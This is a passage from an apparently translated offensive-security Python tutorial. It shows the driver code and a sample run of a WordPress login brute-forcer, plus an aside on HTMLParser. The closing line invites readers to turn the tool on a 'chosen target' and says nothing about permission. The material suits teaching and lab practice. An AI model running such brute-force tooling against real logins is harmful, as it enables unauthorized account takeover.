在请求阶段[3]中,我们利用参数字典发出请求。在检索身份验证尝试的结果之后,我们测试身份验证是否成功——也就是说,返回内容是否包含我们前面定义的 success 字符串。如果成功,并且该字符串存在,我们将清除队列,以便其他线程可以快速完成并返回。
为了封装针对WordPress的暴力破解登录工具,让我们添加以下代码:
if __name__ == '__main__':
words = get_words()
[1] b = Bruter('tim', url)
[2] b.run_bruteforce(words)
就是这样!我们将 username 和 url 传递给 Bruter 类[1],并使用从 words 列表[2]创建的队列暴力破解登录该应用程序。现在我们可以看到奇迹发生了。
HTMLPARSER 101
在本节的示例中,我们使用 requests 和 lxml 包来发出HTTP请求并解析生成的内容。但是,如果您无法安装这些包,因此必须依赖于标准库,该怎么办?正如我们在本章开始时提到的,你可以使用 urllib 来发出请求,但是你需要用标准库 html.parser.HTMLParser 来设置你自己的解析器。
当使用 HTMLParser 类时,有三个主要的类函数可以实现: handle_starttag 、 handle_endtag 和 handle_data 。可以在任何遇到一个打开的 HTML tag 的时候调用 handle_starttag 函数,而 handle_endtag 函数则相反,它在每次遇到一个关闭的 HTML tag 时被调用。当标签之间有原始文本时,调用 handle_data 函数。每个函数的函数原型略有不同,如下所示:
handle_starttag(self, tag, attributes)
handle_endttag(self, tag)
handle_data(self, data)
下面是一个简单的例子:
<title>Python rocks!</title>
handle_starttag => tag variable would be "title"
handle_data => data variable would be "Python rocks!"
handle_endtag => tag variable would be "title"
通过对 HTMLParser 类的基本理解,您可以做一些事情,如解析表单、查找爬取链接、提取用于数据挖掘目的的所有纯文本,或者查找页面中的所有图像。
Kicking the Tires
如果你没有在Kali虚拟机上安装WordPress,那么现在就安装它。在 boodelyboo.com/ 上我们临时安装的WordPress中,我们将用户名预设为 tim ,密码预设为 1234567 ,这样我们就可以确保它正常工作。密码就在 cain.txt 文件里,大约有30个条目。当运行脚本时,我们得到以下输出:
(bhp) tim@kali:~/bhp/bhp$ python wordpress_killer.py
Brute Force Attack beginning on http://boodelyboo.com/wordpress/wp-login.php.
Finished the setup where username = tim
Trying username/password tim/!@#$%
Trying username/password tim/!@#$%^
Trying username/password tim/!@#$%^&
--snip--
Trying username/password tim/0racl38i
Bruteforcing successful.
Username is tim
Password is 1234567
done: now cleaning up.
(bhp) tim@kali:~/bhp/bhp$
您可以看到脚本成功地暴力破解并登录到 WordPress 控制台。要验证它是否有效,您应该使用这些凭据手动登录。在进行本地测试并确定它可以生效之后,您就可以在选择的目标WordPress安装上使用此工具。